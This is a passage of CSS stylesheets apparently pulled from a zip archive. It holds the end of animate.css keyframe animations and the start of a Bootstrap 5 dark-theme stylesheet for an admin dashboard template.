rotateIn{0%{-webkit-transform:rotate(-200deg);transform:rotate(-200deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}.animate__rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn;-webkit-transform-origin:center;transform-origin:center}@-webkit-keyframes rotateInDownLeft{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}@keyframes rotateInDownLeft{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}.animate__rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft;-webkit-transform-origin:left bottom;transform-origin:left bottom}@-webkit-keyframes rotateInDownRight{0%{-webkit-transform:rotate(45deg);transform:rotate(45deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}@keyframes rotateInDownRight{0%{-webkit-transform:rotate(45deg);transform:rotate(45deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}.animate__rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight;-webkit-transform-origin:right bottom;transform-origin:right bottom}@-webkit-keyframes rotateInUpLeft{0%{-webkit-transform:rotate(45deg);transform:rotate(45deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}@keyframes rotateInUpLeft{0%{-webkit-transform:rotate(45deg);transform:rotate(45deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}.animate__rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft;-webkit-transform-origin:left bottom;transform-origin:left bottom}@-webkit-keyframes rotateInUpRight{0%{-webkit-transform:rotate(-90deg);transform:rotate(-90deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}@keyframes rotateInUpRight{0%{-webkit-transform:rotate(-90deg);transform:rotate(-90deg);opacity:0}to{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}}.animate__rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight;-webkit-transform-origin:right bottom;transform-origin:right bottom}@-webkit-keyframes rotateOut{0%{opacity:1}to{-webkit-transform:rotate(200deg);transform:rotate(200deg);opacity:0}}@keyframes rotateOut{0%{opacity:1}to{-webkit-transform:rotate(200deg);transform:rotate(200deg);opacity:0}}.animate__rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut;-webkit-transform-origin:center;transform-origin:center}@-webkit-keyframes rotateOutDownLeft{0%{opacity:1}to{-webkit-transform:rotate(45deg);transform:rotate(45deg);opacity:0}}@keyframes rotateOutDownLeft{0%{opacity:1}to{-webkit-transform:rotate(45deg);transform:rotate(45deg);opacity:0}}.animate__rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft;-webkit-transform-origin:left bottom;transform-origin:left bottom}@-webkit-keyframes rotateOutDownRight{0%{opacity:1}to{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);opacity:0}}@keyframes rotateOutDownRight{0%{opacity:1}to{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);opacity:0}}.animate__rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight;-webkit-transform-origin:right bottom;transform-origin:right bottom}@-webkit-keyframes rotateOutUpLeft{0%{opacity:1}to{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);opacity:0}}@keyframes rotateOutUpLeft{0%{opacity:1}to{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);opacity:0}}.animate__rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft;-webkit-transform-origin:left bottom;transform-origin:left bottom}@-webkit-keyframes rotateOutUpRight{0%{opacity:1}to{-webkit-transform:rotate(90deg);transform:rotate(90deg);opacity:0}}@keyframes rotateOutUpRight{0%{opacity:1}to{-webkit-transform:rotate(90deg);transform:rotate(90deg);opacity:0}}.animate__rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight;-webkit-transform-origin:right bottom;transform-origin:right bottom}@-webkit-keyframes hinge{0%{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate(80deg);transform:rotate(80deg);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate(60deg);transform:rotate(60deg);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes hinge{0%{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate(80deg);transform:rotate(80deg);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate(60deg);transform:rotate(60deg);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.animate__hinge{-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-duration:calc(var(--animate-duration)*2);animation-duration:calc(var(--animate-duration)*2);-webkit-animation-name:hinge;animation-name:hinge;-webkit-transform-origin:top left;transform-origin:top left}@-webkit-keyframes jackInTheBox{0%{opacity:0;-webkit-transform:scale(.1) rotate(30deg);transform:scale(.1) rotate(30deg);-webkit-transform-origin:center bottom;transform-origin:center bottom}50%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}70%{-webkit-transform:rotate(3deg);transform:rotate(3deg)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes jackInTheBox{0%{opacity:0;-webkit-transform:scale(.1) rotate(30deg);transform:scale(.1) rotate(30deg);-webkit-transform-origin:center bottom;transform-origin:center bottom}50%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}70%{-webkit-transform:rotate(3deg);transform:rotate(3deg)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}.animate__jackInTheBox{-webkit-animation-name:jackInTheBox;animation-name:jackInTheBox}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate(-120deg);transform:translate3d(-100%,0,0) rotate(-120deg)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate(-120deg);transform:translate3d(-100%,0,0) rotate(-120deg)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate(120deg);transform:translate3d(100%,0,0) rotate(120deg)}}@keyframes rollOut{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate(120deg);transform:translate3d(100%,0,0) rotate(120deg)}}.animate__rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.animate__zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.animate__zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.animate__zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes zoomInRight{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInRight{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.animate__zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes zoomInUp{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInUp{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.animate__zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}.animate__zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.animate__zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown;-webkit-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0)}}@keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0)}}.animate__zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft;-webkit-transform-origin:left center;transform-origin:left center}@-webkit-keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0)}}@keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0)}}.animate__zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight;-webkit-transform-origin:right center;transform-origin:right center}@-webkit-keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.animate__zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp;-webkit-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes slideInDown{0%{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes slideInDown{0%{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__slideInDown{-webkit-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes slideInLeft{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes slideInLeft{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__slideInLeft{-webkit-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes slideInRight{0%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes slideInRight{0%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__slideInRight{-webkit-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes slideInUp{0%{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes slideInUp{0%{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.animate__slideInUp{-webkit-animation-name:slideInUp;animation-name:slideInUp}@-webkit-keyframes slideOutDown{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes slideOutDown{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.animate__slideOutDown{-webkit-animation-name:slideOutDown;animation-name:slideOutDown}@-webkit-keyframes slideOutLeft{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes slideOutLeft{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.animate__slideOutLeft{-webkit-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes slideOutRight{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes slideOutRight{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.animate__slideOutRight{-webkit-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes slideOutUp{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes slideOutUp{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.animate__slideOutUp{-webkit-animation-name:slideOutUp;animation-name:slideOutUp}PKZN N css/style-dark.cssnu[@charset "UTF-8"; /**====================================================================== ========================================================================= Template Name: Dashboard Bootstrap 5 Admin Template Author: Rajodiya Infotech Support: [support link] File: style.css ========================================================================= =================================================================================== */ /*! * Bootstrap v5.2.3 (https://getbootstrap.com/) * Copyright 2011-2022 The Bootstrap Authors * Copyright 2011-2022 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */ @import url("https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;500;600;700&display=swap"); :root { --bs-blue: #51459d; --bs-indigo: #6610f2; --bs-purple: #6f42c1; --bs-pink: #e83e8c; --bs-red: #ff3a6e; --bs-orange: #fd7e14; --bs-yellow: #ffa21d; --bs-green: #6fd943; --bs-teal: #20c997; --bs-cyan: #3ec9d6; --bs-white: #ffffff; --bs-gray: #6c757d; --bs-gray-dark: #343a40; --bs-gray-100: #f8f9fa; --bs-gray-200: #e9ecef; --bs-gray-300: #dee2e6; --bs-gray-400: #ced4da; --bs-gray-500: #adb5bd; --bs-gray-600: #6c757d; --bs-gray-700: #495057; --bs-gray-800: #343a40; --bs-gray-900: #212529; --bs-primary: #51459d; --bs-secondary: #6c757d; --bs-success: #6fd943; --bs-info: #3ec9d6; --bs-warning: #ffa21d; --bs-danger: #ff3a6e; --bs-light: #f8f9fa; --bs-dark: #1c232f; --bs-primary-rgb: 81, 69, 157; --bs-secondary-rgb: 108, 117, 125; --bs-success-rgb: 111, 217, 67; --bs-info-rgb: 62, 201, 214; --bs-warning-rgb: 255, 162, 29; --bs-danger-rgb: 255, 58, 110; --bs-light-rgb: 248, 249, 250; --bs-dark-rgb: 28, 35, 47; --bs-white-rgb: 255, 255, 255; --bs-black-rgb: 0, 0, 0; --bs-body-color-rgb: 128, 129, 145; --bs-body-bg-rgb: 34, 36, 44; --bs-font-sans-serif: "Open Sans", sans-serif; --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0)); --bs-body-font-family: var(--bs-font-sans-serif); --bs-body-font-size: 0.875rem; --bs-body-font-weight: 400; --bs-body-line-height: 1.5; --bs-body-color: #808191; --bs-body-bg: #22242c; --bs-border-width: 1px; --bs-border-style: solid; --bs-border-color: #3E3F4A; --bs-border-color-translucent: rgba(0, 0, 0, 0.175); --bs-border-radius: 10px; --bs-border-radius-sm: 8px; --bs-border-radius-lg: 15px; --bs-border-radius-xl: 1rem; --bs-border-radius-2xl: 2rem; --bs-border-radius-pill: 50rem; --bs-link-color: #51459d; --bs-link-hover-color: #51459d; --bs-code-color: #e83e8c; --bs-highlight-bg: #fcf8e3; } *, *::before, *::after { box-sizing: border-box; } @media (prefers-reduced-motion: no-preference) { :root { scroll-behavior: smooth; } } body { margin: 0; font-family: var(--bs-body-font-family); font-size: var(--bs-body-font-size); font-weight: var(--bs-body-font-weight); line-height: var(--bs-body-line-height); color: var(--bs-body-color); text-align: var(--bs-body-text-align); background-color: var(--bs-body-bg); -webkit-text-size-adjust: 100%; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } hr { margin: 1rem 0; color: #3E3F4A; border: 0; border-top: 1px solid; opacity: 1; } h1, .h1, h2, .h2, h3, .h3, h4, .h4, h5, .h5, h6, .h6 { margin-top: 0; margin-bottom: 0.5rem; font-weight: 500; line-height: 1.2; color: #ffffff; } h1, .h1 { font-size: calc(1.35rem + 1.2vw); } @media (min-width: 1200px) { h1, .h1 { font-size: 2.25rem; } } h2, .h2 { font-size: calc(1.3rem + 0.6vw); } @media (min-width: 1200px) { h2, .h2 { font-size: 1.75rem; } } h3, .h3 { font-size: calc(1.275rem + 0.3vw); } @media (min-width: 1200px) { h3, .h3 { font-size: 1.5rem; } } h4, .h4 { font-size: 1.25rem; } h5, .h5 { font-size: 1rem; } h6, .h6 { font-size: 0.9375rem; } p { margin-top: 0; margin-bottom: 1rem; } abbr[title] { -webkit-text-decoration: underline dotted; text-decoration: underline dotted; cursor: help; -webkit-text-decoration-skip-ink: none; text-decoration-skip-ink: none; } address { margin-bottom: 1rem; font-style: normal; line-height: inherit; } ol, ul { padding-left: 2rem; } ol, ul, dl { margin-top: 0; margin-bottom: 1rem; } ol ol, ul ul, ol ul, ul ol { margin-bottom: 0; } dt { font-weight: 700; } dd { margin-bottom: .5rem; margin-left: 0; } blockquote { margin: 0 0 1rem; } b, strong { font-weight: bolder; } small, .small { font-size: 80%; } mark, .mark { padding: 0.2em; background-color: var(--bs-highlight-bg); } sub, sup { position: relative; font-size: 0.75em; line-height: 0; vertical-align: baseline; } sub { bottom: -.25em; } sup { top: -.5em; } a { color: var(--bs-link-color); text-decoration: none; } a:hover { color: var(--bs-link-hover-color); text-decoration: underline; } a:not([href]):not([class]), a:not([href]):not([class]):hover { color: inherit; text-decoration: none; } pre, code, kbd, samp { font-family: var(--bs-font-monospace); font-size: 1em; } pre { display: block; margin-top: 0; margin-bottom: 1rem; overflow: auto; font-size: 87.5%; } pre code { font-size: inherit; color: inherit; word-break: normal; } code { font-size: 87.5%; color: var(--bs-code-color); word-wrap: break-word; } a > code { color: inherit; } kbd { padding: 0.2rem 0.4rem; font-size: 87.5%; color: #ffffff; background-color: #212529; border-radius: 8px; } kbd kbd { padding: 0; font-size: 1em; font-weight: 700; } figure { margin: 0 0 1rem; } img, svg { vertical-align: middle; } table { caption-side: bottom; border-collapse: collapse; } caption { padding-top: 0.9rem; padding-bottom: 0.9rem; color: #6c757d; text-align: left; } th { text-align: inherit; text-align: -webkit-match-parent; } thead, tbody, tfoot, tr, td, th { border-color: inherit; border-style: solid; border-width: 0; } label { display: inline-block; } button { border-radius: 0; } button:focus:not(:focus-visible) { outline: 0; } input, button, select, optgroup, textarea { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; } button, select { text-transform: none; } [role="button"] { cursor: pointer; } select { word-wrap: normal; } select:disabled { opacity: 1; } [list]:not([type="date"]):not([type="datetime-local"]):not([type="month"]):not([type="week"]):not([type="time"])::-webkit-calendar-picker-indicator { display: none !important; } button, [type="button"], [type="reset"], [type="submit"] { -webkit-appearance: button; } button:not(:disabled), [type="button"]:not(:disabled), [type="reset"]:not(:disabled), [type="submit"]:not(:disabled) { cursor: pointer; } ::-moz-focus-inner { padding: 0; border-style: none; } textarea { resize: vertical; } fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } legend { float: left; width: 100%; padding: 0; margin-bottom: 0.5rem; font-size: calc(1.275rem + 0.3vw); line-height: inherit; } @media (min-width: 1200px) { legend { font-size: 1.5rem; } } legend + * { clear: left; } ::-webkit-datetime-edit-fields-wrapper, ::-webkit-datetime-edit-text, ::-webkit-datetime-edit-minute, ::-webkit-datetime-edit-hour-field, ::-webkit-datetime-edit-day-field, ::-webkit-datetime-edit-month-field, ::-webkit-datetime-edit-year-field { padding: 0; } ::-webkit-inner-spin-button { height: auto; } [type="search"] { outline-offset: -2px; -webkit-appearance: textfield; } /* rtl:raw: [type="tel"], [type="url"], [type="email"], [type="number"] { direction: ltr; } */ ::-webkit-search-decoration { -webkit-appearance: none; } ::-webkit-color-swatch-wrapper { padding: 0; } ::file-selector-button { font: inherit; -webkit-appearance: button; } output { display: inline-block; } iframe { border: 0; } summary { display: list-item; cursor: pointer; } progress { vertical-align: baseline; } [hidden] { display: none !important; } .lead { font-size: 1.09375rem; font-weight: 300; } .display-1 { font-size: calc(1.625rem + 4.5vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-1 { font-size: 5rem; } } .display-2 { font-size: calc(1.575rem + 3.9vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-2 { font-size: 4.5rem; } } .display-3 { font-size: calc(1.525rem + 3.3vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-3 { font-size: 4rem; } } .display-4 { font-size: calc(1.475rem + 2.7vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-4 { font-size: 3.5rem; } } .display-5 { font-size: calc(1.425rem + 2.1vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-5 { font-size: 3rem; } } .display-6 { font-size: calc(1.375rem + 1.5vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-6 { font-size: 2.5rem; } } .list-unstyled { padding-left: 0; list-style: none; } .list-inline { padding-left: 0; list-style: none; } .list-inline-item { display: inline-block; } .list-inline-item:not(:last-child) { margin-right: 0.5rem; } .initialism { font-size: 80%; text-transform: uppercase; } .blockquote { margin-bottom: 1rem; font-size: 1.09375rem; } .blockquote > :last-child { margin-bottom: 0; } .blockquote-footer { margin-top: -1rem; margin-bottom: 1rem; font-size: 80%; color: #6c757d; } .blockquote-footer::before { content: "\2014\00A0"; } .img-fluid { max-width: 100%; height: auto; } .img-thumbnail { padding: 0.25rem; background-color: #22242c; border: 1px solid #3E3F4A; border-radius: 10px; max-width: 100%; height: auto; } .figure { display: inline-block; } .figure-img { margin-bottom: 0.5rem; line-height: 1; } .figure-caption { font-size: 90%; color: #6c757d; } .container, .container-fluid, .container-sm, .container-md, .container-lg, .container-xl, .container-xxl { --bs-gutter-x: 1.5rem; --bs-gutter-y: 0; width: 100%; padding-right: calc(var(--bs-gutter-x) * .5); padding-left: calc(var(--bs-gutter-x) * .5); margin-right: auto; margin-left: auto; } @media (min-width: 576px) { .container, .container-sm { max-width: 540px; } } @media (min-width: 768px) { .container, .container-sm, .container-md { 